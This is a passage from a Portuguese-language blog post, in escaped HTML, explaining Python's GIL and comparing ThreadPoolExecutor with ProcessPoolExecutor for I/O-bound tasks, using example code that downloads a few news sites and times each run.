com a forma como a linguagem &lt;a href=&quot;https://stackify.com/python-garbage-collection/&quot; title=&quot;Leia sobre o gerenciamento de memória em Python&quot;&gt;gerencia memória&lt;/a&gt;, e previne
problemas de &lt;em&gt;memory leak&lt;/em&gt; e &lt;em&gt;deadlocks&lt;/em&gt;, ao mesmo tempo que oferece números interessantes de performance.&lt;/p&gt;
&lt;p&gt;O artigo do &lt;em&gt;RealPython&lt;/em&gt;,
&lt;a href=&quot;https://realpython.com/python-gil/&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;What Is the Python Global Interpreter Lock (GIL)?&quot;&lt;/a&gt;,
é uma excelente referência para você saber tudo a respeito.&lt;/p&gt;
&lt;p&gt;Para o bem ou para o mal, na prática você não consegue atingir paralelismo utilizando &lt;em&gt;threads&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt; (e note, essa é uma realidade específica da linguagem).
Ainda assim, fazer &lt;code class=&quot;language-text&quot;&gt;multithreading&lt;/code&gt; te dará o resultado concorrente que você deseja.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 553px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fe93b4fbfc08ea6eb2319840fce81a40/74cfa/gil-lock.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 72.39583333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcElEQVQ4y3VUaVPbQAzN//8tHT60U2Y69IDSDuTgSEtIAiQhhxPbSbC9l6/dfdUaHCgt8mi8llZv9SStG9ZaODHGIIqiau1spS6hMgmpBFQqya8rX5GnUJIjI59SHLrMq/0u3knDfdSqlEItaaYwmY4wvB3gbjJCacrKzlmEm2EP49EQM/JnKd8lVAHihUgpUegcuc5Q2Jy0gCoS2q1gSsqydAdmpJRtSWyMhNWKskxhnpg2iqIAYwxlUUIIjmE4QOuuiebNCc7nXYTrNpC0YdkZTNxGvDhCND9EsT2tbDZpwbDfsE8laeR5Dt/3KfUMgmozCPs4ujrEQfsTWpMOttszAmxSYBs6asIb7mN2/QEqOAYYHRSfEmD3GfA1ZUe3pMcQrcxkWK89mDyBLVmlj5QLV2WiLGALBl0IqqH9uymuqGlKHRQxwtUC62AFFq0R0lupvNqsKeYhieGvQ3j+itYRHIzD+qfLNSCjLs7nUyy9GbabEAmLKdjfsWD0vVx5mM4miJNoZ3+zyzBuDKizduuGBFkUQnoech4jSiPwnEFqAa4TCKIaqQewNHkGdFl5FCCErAbWxB14g/cYdfcgg2+IL7/i5t0e7k6+oBv8wuXiAp8vDrB/+hHtSQvd5QX6fg/6aU4bWuvH+aPxkQRoRQ/C/4nE+4Ey6UAMm9h8P8byqoP+po9BcI3L6TnOxh1cr67QD3oYbW6pbP+hzLkgUEEjJOlqqUpTuj25axYdKsjnVKVkJ3VrqWSlnPPXVw+75tQaBCHG4wk1hu0K78aj9j8mwXF/f4/FYlHZdhnWP4mX4srgMjRa4y2pp8NdEIfxB0keMRpuQNCqAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Fluxograma de como a GIL funciona&amp;quot;&quot;
        title=&quot;GIL e o gerenciamento de threads&quot;
        src=&quot;/static/fe93b4fbfc08ea6eb2319840fce81a40/74cfa/gil-lock.png&quot;
        srcset=&quot;/static/fe93b4fbfc08ea6eb2319840fce81a40/8514f/gil-lock.png 192w,
/static/fe93b4fbfc08ea6eb2319840fce81a40/804b2/gil-lock.png 384w,
/static/fe93b4fbfc08ea6eb2319840fce81a40/74cfa/gil-lock.png 553w&quot;
        sizes=&quot;(max-width: 553px) 100vw, 553px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;GIL e o gerenciamento de threads&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E como conseguimos de fato paralelismo então? Utilizando processos!&lt;/p&gt;
&lt;p&gt;Com a biblioteca de &lt;code class=&quot;language-text&quot;&gt;multiprocessing&lt;/code&gt;, ao invés de iniciarmos
uma &lt;em&gt;thread&lt;/em&gt;, iniciamos um novo processo &lt;em&gt;Python&lt;/em&gt; que se encarregará de executar o que for requisitado. E citando o início desse artigo:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No caso dos processos Python, cada um possui um interpretador Python, memory space, e o famigerado GIL.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Logo, não sofremos a limitação da trava uma vez que estamos
falando de processos à parte, gerenciados pelo Sistema Operacional.&lt;/p&gt;
&lt;h2&gt;Multithreading e Multiprocessing&lt;/h2&gt;
&lt;p&gt;Para ficar um pouco mais claro, vamos a um exemplo prático. Verificaremos o tamanho de alguns sites.&lt;/p&gt;
&lt;p&gt;A forma mais recomendada de dar os primeiros passos com &lt;em&gt;threads&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt; é através da biblioteca &lt;code class=&quot;language-text&quot;&gt;concurrent.futures&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# thread.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; urllib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;request

URLS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://www.foxnews.com/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;http://www.cnn.com/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;http://www.bbc.co.uk/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;load_url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; urllib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urlopen&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;timeout&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        future_to_url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;load_url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; url &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; url &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; URLS&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_completed&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;future_to_url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future_to_url&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;future&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
            data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;%r tem %d bytes&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso você queira saber mais sobre a sintaxe, vale a pena conferir a &lt;a href=&quot;https://docs.python.org/3.6/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor&quot; title=&quot;Leia sobre ThreadPoolExecutor&quot;&gt;documentação
oficial do &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A execução deve apresentar um resultado parecido com o abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&apos;http://www.bbc.co.uk/&apos; tem 361696 bytes
&apos;http://www.cnn.com/&apos; tem 1143256 bytes
&apos;http://www.foxnews.com/&apos; tem 334772 bytes&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;ThreadPoolExecutor&lt;/code&gt; estende do tipo &lt;code class=&quot;language-text&quot;&gt;Executor&lt;/code&gt;. Possuímos também o filho &lt;code class=&quot;language-text&quot;&gt;ProcessPoolExecutor&lt;/code&gt;, que tem uma interface semelhante, mas utiliza o módulo &lt;code class=&quot;language-text&quot;&gt;multiprocessing&lt;/code&gt;
por baixo dos panos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# process.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; urllib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;request

URLS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://www.foxnews.com/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;http://www.cnn.com/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;http://www.bbc.co.uk/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;load_url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; urllib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urlopen&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;timeout&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ProcessPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        future_to_url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;load_url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; url &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; url &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; URLS&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_completed&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;future_to_url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future_to_url&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;future&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
            data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;%r tem %d bytes&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para maiores detalhes sobre a implementação, &lt;a href=&quot;https://docs.python.org/3.6/library/concurrent.futures.html#concurrent.futures.ProcessPoolExecutor&quot; title=&quot;Leia mais sobre&quot;&gt;confira a documentação do &lt;em&gt;ProcessPoolExecutor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Com auxílio da ferramenta de linha de comando &lt;code class=&quot;language-text&quot;&gt;time&lt;/code&gt;, podemos calcular quanto tempo
cada &lt;em&gt;script&lt;/em&gt; leva para executar as tarefas concorrentemente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ time python thread.py
&apos;http://www.bbc.co.uk/&apos; tem 360652 bytes
&apos;http://www.foxnews.com/&apos; tem 336778 bytes
&apos;http://www.cnn.com/&apos; tem 1143341 bytes
python thread.py  0.15s user 0.06s system 38% cpu 0.555 total

$ time python process.py
&apos;http://www.bbc.co.uk/&apos; tem 360652 bytes
&apos;http://www.cnn.com/&apos; tem 1143341 bytes
&apos;http://www.foxnews.com/&apos; tem 336779 bytes
python process.py  0.41s user 0.12s system 74% cpu 0.715 total&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E surpreendentemente vemos que o exemplo com &lt;em&gt;threads&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;0.15s&lt;/code&gt;) leva
menos tempo que o com subprocessos (&lt;code class=&quot;language-text&quot;&gt;0.41s&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;I/O-bound e CPU-bound&lt;/h2&gt;
&lt;p&gt;Pela ideia de que &lt;em&gt;threads&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt; não são paralelas, podemos chegar erroneamente à conclusão de que &lt;em&gt;multiprocessing&lt;/em&gt; é a solução
definitiva.&lt;/p&gt;
&lt;p&gt;Depende do tipo de problema que estamos tentando resolver. Há duas categorias distintas
que influenciam na decisão:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Problemas &lt;em&gt;CPU-bound&lt;/em&gt;: Onde o progresso do processo é limitado pela velocidade da &lt;em&gt;CPU&lt;/em&gt; .&lt;/li&gt;
&lt;li&gt;Problemas &lt;em&gt;I/O-bound&lt;/em&gt;: O progresso é limitado pela velocidade do subsistema de entrada/saída.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Um exemplo do primeiro é um conjunto de operações matemáticas complexas, que dependem exclusivamente do uso da &lt;em&gt;CPU&lt;/em&gt;. O código
da seção anterior é um exemplo de &lt;em&gt;I/O-bound&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Threads e I/O&lt;/h3&gt;
&lt;p&gt;O Sistema Operacional é responsável pelo gerenciamento de uma &lt;em&gt;thread&lt;/em&gt;. &lt;a href=&quot;https://en.wikipedia.org/wiki/Preemption_%28computing%29#Preemptive_multitasking&quot; title=&quot;Preemption (computing)&quot;&gt;Ele a interrompe a qualquer momento, salva o seu estado, e executa qualquer outra em seu lugar,
podendo resumi-la ao fim do processo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Larry Hastings&lt;/em&gt;, no &lt;a href=&quot;https://www.youtube.com/watch?t=11m40s&amp;#x26;v=4zeHStBowEk&amp;#x26;feature=youtu.be&quot; title=&quot;Veja o talk no Youtube&quot;&gt;&quot;Python&apos;s Infamous GIL&quot;&lt;/a&gt;, descreve
como o gerenciamento da &lt;em&gt;GIL&lt;/em&gt; funciona do ponto de vista da linguagem:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The way Python threads work with the GIL is with a simple counter. With every 100 byte codes executed the
GIL is supposed to be released by the thread currently executing in order to give other threads a chance to execute code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Quando acessamos um banco de dados em outro servidor, um serviço &lt;em&gt;web&lt;/em&gt;, ou um arquivo em um sistema de arquivos, estamos
realizando uma operação &lt;em&gt;I/O-bound&lt;/em&gt;. Qualquer ação que demande comunicação com o &lt;em&gt;hardware&lt;/em&gt; (como os &lt;em&gt;sockets&lt;/em&gt;), envolve comunicação
com o &lt;em&gt;kernel&lt;/em&gt; da máquina, e essa operação é mais lenta que as operações de uma &lt;em&gt;CPU&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a3efed2b8019b2972a3207772d1cdbab/d326d/iobound.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 44.79166666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABnUlEQVQoz2WSYU/bMBCG8///ycY0oX1jFULbgIlWTKQEWAWUZk0a1qRNnMSOHdd5d3baUrSTTokvd8/dvbEHsqZpsLOu65y7eF2jGA2RX57j9ugD7shfTweoL35AJAmMbPa5u1qvqir4vo+iKP4D1gRkeQ7JGPLRFTICjQkafPqIZHACQY1ENIcRHEZrV+O1besKd1PugNa13rgY5xwVNZRlD07PvyP4cozx8Wcsvp1BXI+g1qseiAM7HH8bgVIKm80buMzXULxGRQCjJCQNoxsBuR3IeyvtLa81bp8z/HqY4/4l3cY7tATWtJY9K9oqmKZgnIAEc3rLFilT8GzXKIqoe/9hsbbJKwSPCwyGL/jpz3A/Xe7BWrfuLc4asEpg/Ji4p5UtTAkYxzFmsxnCMERnNJJcgUvTF6U1/EmEr1dTDIM/uJksIKR+J0qUCQI2uPkdYxKL9xpaY7wFb1oYY/ax+bLE3VOCB5JA0GokNulqtjn97OHfigbg8A7/qjVN+pRl6Zwx64zkqElDifUqQ0L3z161wxx3ZgWydIl/E0quQBrr7F0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama de tempo comparando I/O waiting e CPU processing com Threads&amp;quot;&quot;
        title=&quot;I/O e CPU em um contexto I/O-Bound com Threads (realpython.com)&quot;
        src=&quot;/static/a3efed2b8019b2972a3207772d1cdbab/e5715/iobound.png&quot;
        srcset=&quot;/static/a3efed2b8019b2972a3207772d1cdbab/8514f/iobound.png 192w,
/static/a3efed2b8019b2972a3207772d1cdbab/804b2/iobound.png 384w,
/static/a3efed2b8019b2972a3207772d1cdbab/e5715/iobound.png 768w,
/static/a3efed2b8019b2972a3207772d1cdbab/4ad3a/iobound.png 1152w,
/static/a3efed2b8019b2972a3207772d1cdbab/d326d/iobound.png 1197w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;I/O e CPU em um contexto I/O-Bound com Threads (realpython.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Como resultado, a maioria das operações &lt;em&gt;I/O-bound&lt;/em&gt; ficará em um estado de &quot;espera&quot; até o momento em que ela receba um resultado. E como afirma &lt;em&gt;Cody Piersall&lt;/em&gt;,
nessa &lt;a href=&quot;https://stackoverflow.com/questions/32256775/how-does-the-gil-in-python-affect-the-downloading-of-webpages-in-parallel&quot; title=&quot;How does the GIL in python affect the downloading of webpages in parallel?&quot;&gt;incrivelmente simples resposta no &lt;em&gt;Stackoverflow&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The GIL won&apos;t hurt you here.&lt;/p&gt;
&lt;p&gt;For I/O bound tasks (like downloading webpages), the GIL is not a problem. Python releases the GIL when I/O is happening,
which means all the threads will be able execute the requests in parallel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, a &lt;em&gt;thread&lt;/em&gt; que necessita pegar dados de uma fonte externa irá adquirir a &lt;em&gt;GIL&lt;/em&gt;. Subseqüentemente o &lt;em&gt;lock&lt;/em&gt; é liberado
e é adquirido por outra &lt;em&gt;thread&lt;/em&gt; que inicia outro código &lt;em&gt;I/O-bound&lt;/em&gt; (por exemplo). Quando a &lt;em&gt;GIL&lt;/em&gt; é adquirida novamente pela primeira &lt;em&gt;thread&lt;/em&gt;, possivelmente
ela já tenha recebido os dados.&lt;/p&gt;
